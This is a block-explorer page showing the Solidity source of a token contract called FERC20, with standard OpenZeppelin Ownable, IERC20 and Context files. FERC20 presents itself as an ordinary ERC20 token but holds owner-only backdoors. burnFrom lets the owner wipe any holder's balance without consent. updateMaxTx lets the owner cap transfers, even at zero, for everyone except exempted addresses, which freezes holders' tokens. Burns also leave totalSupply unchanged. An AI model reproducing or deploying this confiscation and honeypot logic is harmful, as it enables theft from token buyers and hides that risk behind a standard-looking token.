S Price: $0.631275 (-9.32%)
    /

    Contract Diff Checker

    Contract Name:
    FERC20

    Contract Source Code:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.20;
    
    import "@openzeppelin/contracts/access/Ownable.sol";
    import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
    contract FERC20 is Context, IERC20, Ownable {
        uint8 private constant _decimals = 18;
    
        uint256 private _totalSupply;
    
        string private _name;
    
        string private _symbol;
    
        uint256 public maxTx;
    
        uint256 private _maxTxAmount;
    
        mapping(address => uint256) private _balances;
    
        mapping(address => mapping(address => uint256)) private _allowances;
    
        mapping(address => bool) private isExcludedFromMaxTx;
    
        event MaxTxUpdated(uint256 _maxTx);
    
        error ZeroAddressUnallowed();
    
        error InvalidAmount();
    
        error MaxTxExceeded();
    
        constructor(string memory name_, string memory symbol_, uint256 supply, uint256 _maxTx) Ownable(msg.sender) {
            _name = name_;
    
            _symbol = symbol_;
    
            _totalSupply = supply * 10 ** _decimals;
    
            _balances[_msgSender()] = _totalSupply;
    
            isExcludedFromMaxTx[_msgSender()] = true;
    
            isExcludedFromMaxTx[address(this)] = true;
    
            _updateMaxTx(_maxTx);
    
            emit Transfer(address(0), _msgSender(), _totalSupply);
        }
    
        function name() public view returns (string memory) {
            return _name;
        }
    
        function symbol() public view returns (string memory) {
            return _symbol;
        }
    
        function decimals() public pure returns (uint8) {
            return _decimals;
        }
    
        function totalSupply() public view override returns (uint256) {
            return _totalSupply;
        }
    
        function balanceOf(address account) public view override returns (uint256) {
            return _balances[account];
        }
    
        function transfer(address recipient, uint256 amount) public override returns (bool) {
            _transfer(_msgSender(), recipient, amount);
    
            return true;
        }
    
        function allowance(address owner, address spender) public view override returns (uint256) {
            return _allowances[owner][spender];
        }
    
        function approve(address spender, uint256 amount) public override returns (bool) {
            _approve(_msgSender(), spender, amount);
    
            return true;
        }
    
        function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
            _transfer(sender, recipient, amount);
    
            _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
    
            return true;
        }
    
        function _approve(address owner, address spender, uint256 amount) private {
            if (owner == address(0) || spender == address(0)) revert ZeroAddressUnallowed();
    
            _allowances[owner][spender] = amount;
    
            emit Approval(owner, spender, amount);
        }
    
        function _transfer(address from, address to, uint256 amount) private {
            if (from == address(0) || to == address(0)) revert ZeroAddressUnallowed();
            if (amount == 0) revert InvalidAmount();
    
            if (!isExcludedFromMaxTx[from]) {
                if (amount > _maxTxAmount) revert MaxTxExceeded();
            }
    
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
    
            emit Transfer(from, to, amount);
        }
    
        function _updateMaxTx(uint256 _maxTx) internal {
            maxTx = _maxTx;
            _maxTxAmount = (maxTx * _totalSupply) / 100;
    
            emit MaxTxUpdated(_maxTx);
        }
    
        function updateMaxTx(uint256 _maxTx) public onlyOwner {
            _updateMaxTx(_maxTx);
        }
    
        function excludeFromMaxTx(address user) public onlyOwner {
            if (user == address(0)) revert ZeroAddressUnallowed();
    
            isExcludedFromMaxTx[user] = true;
        }
    
        function _burn(address user, uint256 amount) internal {
            if (user == address(0)) revert ZeroAddressUnallowed();
            _balances[user] = _balances[user] - amount;
        }
    
        function burnFrom(address user, uint256 amount) public onlyOwner {
            if (user == address(0)) revert ZeroAddressUnallowed();
            _balances[user] = _balances[user] - amount;
            emit Transfer(user, address(0), amount);
        }
    }

    // SPDX-License-Identifier: MIT
    // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
    
    pragma solidity ^0.8.20;
    
    import {Context} from "../utils/Context.sol";
    
    /**
     * @dev Contract module which provides a basic access control mechanism, where
     * there is an account (an owner) that can be granted exclusive access to
     * specific functions.
     *
     * The initial owner is set to the address provided by the deployer. This can
     * later be changed with {transferOwnership}.
     *
     * This module is used through inheritance. It will make available the modifier
     * `onlyOwner`, which can be applied to your functions to restrict their use to
     * the owner.
     */
    abstract contract Ownable is Context {
        address private _owner;
    
        /**
         * @dev The caller account is not authorized to perform an operation.
         */
        error OwnableUnauthorizedAccount(address account);
    
        /**
         * @dev The owner is not a valid owner account. (eg. `address(0)`)
         */
        error OwnableInvalidOwner(address owner);
    
        event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
        /**
         * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
         */
        constructor(address initialOwner) {
            if (initialOwner == address(0)) {
                revert OwnableInvalidOwner(address(0));
            }
            _transferOwnership(initialOwner);
        }
    
        /**
         * @dev Throws if called by any account other than the owner.
         */
        modifier onlyOwner() {
            _checkOwner();
            _;
        }
    
        /**
         * @dev Returns the address of the current owner.
         */
        function owner() public view virtual returns (address) {
            return _owner;
        }
    
        /**
         * @dev Throws if the sender is not the owner.
         */
        function _checkOwner() internal view virtual {
            if (owner() != _msgSender()) {
                revert OwnableUnauthorizedAccount(_msgSender());
            }
        }
    
        /**
         * @dev Leaves the contract without owner. It will not be possible to call
         * `onlyOwner` functions. Can only be called by the current owner.
         *
         * NOTE: Renouncing ownership will leave the contract without an owner,
         * thereby disabling any functionality that is only available to the owner.
         */
        function renounceOwnership() public virtual onlyOwner {
            _transferOwnership(address(0));
        }
    
        /**
         * @dev Transfers ownership of the contract to a new account (`newOwner`).
         * Can only be called by the current owner.
         */
        function transferOwnership(address newOwner) public virtual onlyOwner {
            if (newOwner == address(0)) {
                revert OwnableInvalidOwner(address(0));
            }
            _transferOwnership(newOwner);
        }
    
        /**
         * @dev Transfers ownership of the contract to a new account (`newOwner`).
         * Internal function without access restriction.
         */
        function _transferOwnership(address newOwner) internal virtual {
            address oldOwner = _owner;
            _owner = newOwner;
            emit OwnershipTransferred(oldOwner, newOwner);
        }
    }

    // SPDX-License-Identifier: MIT
    // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)
    
    pragma solidity ^0.8.20;
    
    /**
     * @dev Interface of the ERC20 standard as defined in the EIP.
     */
    interface IERC20 {
        /**
         * @dev Emitted when `value` tokens are moved from one account (`from`) to
         * another (`to`).
         *
         * Note that `value` may be zero.
         */
        event Transfer(address indexed from, address indexed to, uint256 value);
    
        /**
         * @dev Emitted when the allowance of a `spender` for an `owner` is set by
         * a call to {approve}. `value` is the new allowance.
         */
        event Approval(address indexed owner, address indexed spender, uint256 value);
    
        /**
         * @dev Returns the value of tokens in existence.
         */
        function totalSupply() external view returns (uint256);
    
        /**
         * @dev Returns the value of tokens owned by `account`.
         */
        function balanceOf(address account) external view returns (uint256);
    
        /**
         * @dev Moves a `value` amount of tokens from the caller's account to `to`.
         *
         * Returns a boolean value indicating whether the operation succeeded.
         *
         * Emits a {Transfer} event.
         */
        function transfer(address to, uint256 value) external returns (bool);
    
        /**
         * @dev Returns the remaining number of tokens that `spender` will be
         * allowed to spend on behalf of `owner` through {transferFrom}. This is
         * zero by default.
         *
         * This value changes when {approve} or {transferFrom} are called.
         */
        function allowance(address owner, address spender) external view returns (uint256);
    
        /**
         * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
         * caller's tokens.
         *
         * Returns a boolean value indicating whether the operation succeeded.
         *
         * IMPORTANT: Beware that changing an allowance with this method brings the risk
         * that someone may use both the old and the new allowance by unfortunate
         * transaction ordering. One possible solution to mitigate this race
         * condition is to first reduce the spender's allowance to 0 and set the
         * desired value afterwards:
         * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
         *
         * Emits an {Approval} event.
         */
        function approve(address spender, uint256 value) external returns (bool);
    
        /**
         * @dev Moves a `value` amount of tokens from `from` to `to` using the
         * allowance mechanism. `value` is then deducted from the caller's
         * allowance.
         *
         * Returns a boolean value indicating whether the operation succeeded.
         *
         * Emits a {Transfer} event.
         */
        function transferFrom(address from, address to, uint256 value) external returns (bool);
    }

    // SPDX-License-Identifier: MIT
    // OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
    
    pragma solidity ^0.8.20;
    
    /**
     * @dev Provides information about the current execution context, including the
     * sender of the transaction and its data. While these are generally available
     * via msg.sender and msg.data, they should not be accessed in such a direct
     * manner, since when dealing with meta-transactions the account sending and
     * paying for execution may not be the actual sender (as far as an application
     * is concerned).
     *
     * This contract is only required for intermediate, library-like contracts.
     */
    abstract contract Context {
        function _msgSender() internal view virtual returns (address) {
            return msg.sender;
        }
    
        function _msgData() internal view virtual returns (bytes calldata) {
            return msg.data;
        }
    
        function _contextSuffixLength() internal view virtual returns (uint256) {
            return 0;
        }
    }

    Please enter a contract address above to load the contract details and source code.

    Context size (optional):